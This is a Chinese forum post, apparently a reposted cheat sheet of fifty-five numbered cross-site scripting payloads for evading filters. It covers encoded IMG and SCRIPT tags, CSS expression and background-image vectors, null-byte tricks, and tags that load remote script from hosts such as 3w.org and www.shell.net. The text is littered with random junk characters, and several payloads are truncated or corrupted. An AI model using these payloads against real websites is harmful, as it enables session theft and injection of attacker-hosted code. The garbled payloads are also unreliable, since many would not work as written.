(1)普通的XSS JavaScript注入
$ }% j* \1 ]: Q4 [+ v- e' n<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
3 K# _8 g: L# _, W(99)另类弹框
& C0 \" j/ `; H, p, K' K1 V<q/oncut=alert()>1
$ v, I: a. v; _" S7 x: [9 L! j( X<s/onclick=alert()>b! n( ?) k# p8 A: [- f& m
<XSS=" onclick="alert(1)//">clickme</SSX=">
( x O- H5 y5 P0 X <zzz onclick=alert`1`>clickme</zzz> - w, H& H8 {. y q, y2 T. Q
<a onclick=alert`1`>clickme</a>4 ?" W3 ^. }9 b) w R
<a=">clickme</a=">
/ u! S% r( I$ ^/ h' \& g" T<a=">clickme</a>! r) s+ M' Y4 R* W
<z=">clickme</z=">
$ T3 [5 \& ]+ A9 Y* p" }<z onclick=alert`1`>clickme</z>/ F- X' }, U+ l& S
' b2 O0 w8 }2 f) B3 ?(2)IMG标签XSS使用JavaScript命令$ O' u- q7 |/ v
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
) Y% O: w2 [' X3 o6 I3 K5 F, a( j% r* J$ F- \
(3)IMG标签无分号无引号
0 {: S5 K9 U, S1 n<IMG SRC=javascript:alert(‘XSS’)>) {0 _4 F* V* } p) t
4 R; Q/ ~: E# t9 w k7 T6 `(4)IMG标签大小写不敏感& \3 }, A+ `7 j @4 Z( Y
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>3 e( o9 L- E' W% }, h) i6 m: V7 B
2 k/ a1 X; G) G; t8 ]8 x$ s(5)HTML编码(必须有分号)
4 u1 F' q. N$ M- S \3 O<IMG SRC=javascript:alert(“XSS”)>8 `4 @( f0 _( ?! A$ `- i
+ E( x$ A {. m& O3 d( c
(6)修正缺陷IMG标签
7 W1 q |; s/ q, A ~# W% Q% i<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
2 k( }6 Q& T6 M+ U
/ w( s! s% ?" f/ v6 o(7)formCharCode标签(计算器)# ?7 y q6 j( G1 @
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
7 b& d( v2 d, H: S
3 V( A4 B* R( r) i: c! [(8)UTF-8的Unicode编码(计算器)
1 I, t2 J8 l2 f$ l! f9 {8 n' v5 e<IMG SRC=jav..省略..S')>0 @% f6 T" X8 }. R, n
/ o+ e( x0 g4 i' F2 T4 y(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
9 \1 A, J: Q F1 O<IMG SRC=jav..省略..S')>5 B! D$ v4 n5 C/ o- ?& |& I; X0 A: o1 [( @
/ u+ c: U9 N0 `: ](10)十六进制编码也是没有分号(计算器)# i( }3 y/ N0 T9 [0 G8 F
<IMG SRC=\'#\'" /span>
/ b9 B" _ M; g7 j8 l
+ V2 d7 x, x- g) ?$ g% X(11)嵌入式标签,将Javascript分开& r7 n% f Y9 a
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>, m. U& p& R8 o" E' H* J) s
4 `$ B; f2 ^/ u' K2 a
(12)嵌入式编码标签,将Javascript分开
: T/ E+ X0 F5 t, A8 J<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
' |0 Y7 R2 M! N% B' ^
( [8 K5 K! _0 {6 u(13)嵌入式换行符
* S- G* I) c' l! c<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>3 V( K8 P" v& R5 {4 I' [9 E. s; k1 F! b
" ]9 s% x J- ?& {, r
(14)嵌入式回车4 C5 }- H( E# N; a6 C/ C
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
3 n' @5 Z4 k+ Y5 U8 X6 [* z4 q0 @
! d2 L8 p% `. |" M(15)嵌入式多行注入JavaScript,这是XSS极端的例子% t' Z" I* K7 \! f0 N
<IMG SRC=\'#\'" /span>
! }& Q$ M" z4 W# S, m
0 s' ?" U7 X. D# t) N(16)解决限制字符(要求同页面)0 b: A7 j7 Q& S& }) F# T- I
<script>z=’document.’</script>7 [, L5 u2 \/ R6 P: Z6 u
<script>z=z+’write(“‘</script>
+ l' z0 m7 K, C# Y5 ~4 E2 @" }4 S<script>z=z+’<script’</script>& Q% D9 @* h- R" N
<script>z=z+’ src=ht’</script>
* q% u7 I: L, w5 s9 g0 f<script>z=z+’tp://ww’</script>
5 [; L i# [$ d' U5 S) }' R<script>z=z+’w.shell’</script>
2 D+ M0 k; b5 B' [, Z+ O' \; b5 n* \<script>z=z+’.net/1.’</script>
# q* E3 ]7 X( z, ~. R<script>z=z+’js></sc’</script>+ M2 T' p' X+ l/ f
<script>z=z+’ript>”)’</script>, q3 W( j6 ^3 }2 ]; i+ ~
<script>eval_r(z)</script>3 Y: @8 ?: X, k' ]
p4 U& O! y! X(17)空字符. Q! t8 j9 v, B/ _8 J' S7 J3 A
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
7 C* U$ y* ~* U$ y7 d- ^+ z! n) J B: T- J3 \4 V
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用5 c' \8 i, G$ D$ }0 m: N& {+ x
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out; N1 v# B& d) r" Z+ x0 e
0 Z; n. U1 W, |2 }" M J(19)Spaces和meta前的IMG标签
; E# u9 \" q( X" B- _<IMG SRC=\'#\'" javascript:alert(‘XSS’);”>* N0 a" [% ^! `
6 D, s6 F3 x' I
(20)Non-alpha-non-digit XSS/ w! H2 g0 \8 o: L G% R
<SCRIPT/XSS SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>+ \8 v$ o0 C' I9 V' a) S( n, [( i
+ G6 E+ a! Q$ L+ B, P
(21)Non-alpha-non-digit XSS to 2, B& `; d, @# i) M' c4 I
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>: H* M, i* Q/ E
1 A! `; K0 Z0 S1 n1 [% v! |
(22)Non-alpha-non-digit XSS to 3
1 j, ]' Q( O3 p4 Q0 v<SCRIPT/SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>5 N6 X5 z( P% u& E; Y; R7 C. m: k
R+ X3 y3 L) w% H9 F(23)双开括号' \# o+ \/ C/ q, `2 |& [2 s" m9 \
<<SCRIPT>alert(“XSS”);//<</SCRIPT>: q% c, W. y: C3 T: X; B+ x. s$ Z
: U( D# c: m+ e" p6 E, k9 A. V1 A4 l
(24)无结束脚本标记(仅火狐等浏览器)1 v* J7 L8 }% X' u, E/ @9 g$ c3 k
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
7 }3 ^- _* H1 A. B1 h/ e
6 c1 X* e/ F/ l: c: x! R7 }(25)无结束脚本标记2
% j5 _/ U4 N0 H6 B2 {' |! P<SCRIPT SRC=//3w.org/XSS/xss.js>& ^0 G: T) Z4 _8 ~7 f
+ t" L) X# l0 p; O
(26)半开的HTML/JavaScript XSS J& j' p* [8 b1 ^8 p
<IMG SRC=\'#\'" /span>+ `9 O$ K- W/ L6 d8 @1 u
: z6 Y5 ?* p. f, m(27)双开角括号$ S0 B' N, {, G1 x) P" j4 q
<iframe src=http://3w.org/XSS.html <
# L/ ]+ A w1 p: T( }; c; \ R2 o8 I$ [* p
(28)无单引号 双引号 分号
1 C) V) w* m( a0 l& }' b<SCRIPT>a=/XSS/
- i3 X! N0 c9 E/ D. m( ialert(a.source)</SCRIPT>
: ]8 w* M# I V% \$ b w5 [) g# \; r/ h. [6 Q
(29)换码过滤的JavaScript" T% ^+ ~) J: ~9 y" U3 o( m
\”;alert(‘XSS’);//
1 f6 k' b% o7 H/ a; l9 N1 K" r9 P5 i+ N; k+ G% x
(30)结束Title标签
+ ?) M, N3 `/ i8 k5 O5 J</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
- I% w) J! ^, s% W D3 W/ ?) |# b$ ]% [ `4 H: @1 ~
(31)Input Image) Q9 B+ n) A7 b9 Q" J" f
<INPUT SRC=\'#\'" /span>- H/ _0 i; v8 V* G" _" x8 V
& R$ b r; ~ i/ v(32)BODY Image
3 c" v8 `0 i' j* S7 g6 i4 s<BODY BACKGROUND=”javascript:alert(‘XSS’)”>/ ]* f$ e/ v6 Z2 f v/ n& M3 I
. G# `5 [# h. y- Z; C, c/ v' @
(33)BODY标签) P7 l' \! _; c/ J. u7 v7 ^
<BODY(‘XSS’)>- i4 v: p' ]& y+ `& l0 Z
8 P, [, e8 [4 f( ^- w$ |# s) j
(34)IMG Dynsrc' g; x; e% ], A, V: T
<IMG DYNSRC=\'#\'" /span>
# j* P& l8 P% u, N( v6 W" z
6 E) v0 h5 L/ s6 y4 F5 m(35)IMG Lowsrc
3 {8 H! X. O. i. M' @% q<IMG LOWSRC=\'#\'" /span>1 C; _ m& c% L
* }8 g3 Q5 R. o, ^& J! ]# a(36)BGSOUND" Z; U6 N/ z! [6 r. I
<BGSOUND SRC=\'#\'" /span>
3 y9 K( `7 O# T
$ Q' T' `/ K" g3 {% M(37)STYLE sheet! P1 R+ H" X* U
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>5 x% v/ L& y. {+ M+ X8 e# n5 A
- B4 z1 w6 j: _$ \
(38)远程样式表
% G' {; r, o# a. _<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>7 @) f0 w2 U, Z6 D1 k, Q
& ] I. [4 L" s$ z$ b2 S3 e
(39)List-style-image(列表式)' y( A9 C3 ^& T- ~8 I& [9 g
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
5 y4 R4 e p5 G# m% b" A" k
+ A4 }0 P% z _, d/ l8 h( @: @(40)IMG VBscript+ h+ ?5 n9 B4 J1 E9 @: L
<IMG SRC=\'#\'" /STYLE><UL><LI>XSS
7 m1 C$ s5 u. @( i
: x* }4 A) {/ s }0 ^(41)META链接url
- |3 P" J6 X- f2 O<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
# q. O/ u/ U- H$ B& i4 V) _; G1 s! b
(42)Iframe
0 i$ \8 {& f) ~+ S1 Y% ?% k: I; |<IFRAME SRC=\'#\'" /IFRAME>
: b G. k* N5 w+ l+ l4 z. d2 S- C3 Z9 ~% l( C9 A
(43)Frame9 \# U+ H. v6 T s7 h. z9 A
<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>
; c" j1 _9 y( {' A7 v, R, e9 C6 K$ I# f
(44)Table
/ S1 |9 B S# \+ j9 K- g' A8 T8 N<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>5 n; _% ~- W5 W4 I+ L! O
1 b. x4 S* g4 v; U; p F
(45)TD1 l. c, ^) o8 y3 K1 Y a- ], h
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>/ y: c( `8 ?, l2 m H( m, p
9 v6 k+ V- D" s1 h. Z: _- `+ Z; t
(46)DIV background-image
8 h3 F$ y3 o+ Q2 w<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>* m! t! {7 t7 N9 C( g1 n/ G& u
# g L8 S3 V7 i4 c; W$ P(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)7 X3 n; ^+ T3 e0 b! A
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
# S- `( @! L/ C5 a. m" }0 n$ ?" r+ H" H4 i
(48)DIV expression- R# M( J; I3 o4 i7 O! C
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
7 N) ~7 G- }- S* z$ f: ^$ [' j* m* k5 x! i% L- q5 G
(49)STYLE属性分拆表达, Z' ?1 ^4 I& }* y/ m
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
: N& S/ b) K, B r& P) w9 C2 p( b% Z6 U u, D6 P+ d( e
(50)匿名STYLE(组成:开角号和一个字母开头)8 t Q* c1 ?9 ^4 H) u S8 D( p
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
! d) a* i4 _ V; {! f# r/ B& ]
9 Q4 C. {, ~: c r(51)STYLE background-image
2 U+ h# T: R( h9 X# U( t* Q<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>( W1 N$ e( X& `9 O6 y; q
v5 c& i# E- N; c7 n4 Y(52)IMG STYLE方式
) U+ e( H6 f m/ t; [: rexppression(alert(“XSS”))’>0 Z/ J$ a. @$ a& t" r
# V( b- D+ |7 J" {
(53)STYLE background
9 h, @6 U) G) v. \* [( M9 h. L$ N<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>* ~7 ~! ~1 A2 X- o. W+ x
+ _7 c- | S1 i(54)BASE- [# V$ U" S+ E2 m) Z5 H0 X* l
<BASE HREF=”javascript:alert(‘XSS’);//”>
+ D1 u$ X6 h- E' G9 p0 L3 e8 L- Z
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
+ ?/ B( f; p# Y& I4 r<EMBED SRC=\'#\'" /span>http://3w.org/XSS/xss.swf” ></EMBED>
6 x0 L$ }5 p$ l8 f: _ |
发表于 2016-4-28 10:06:15
收藏
支持
反对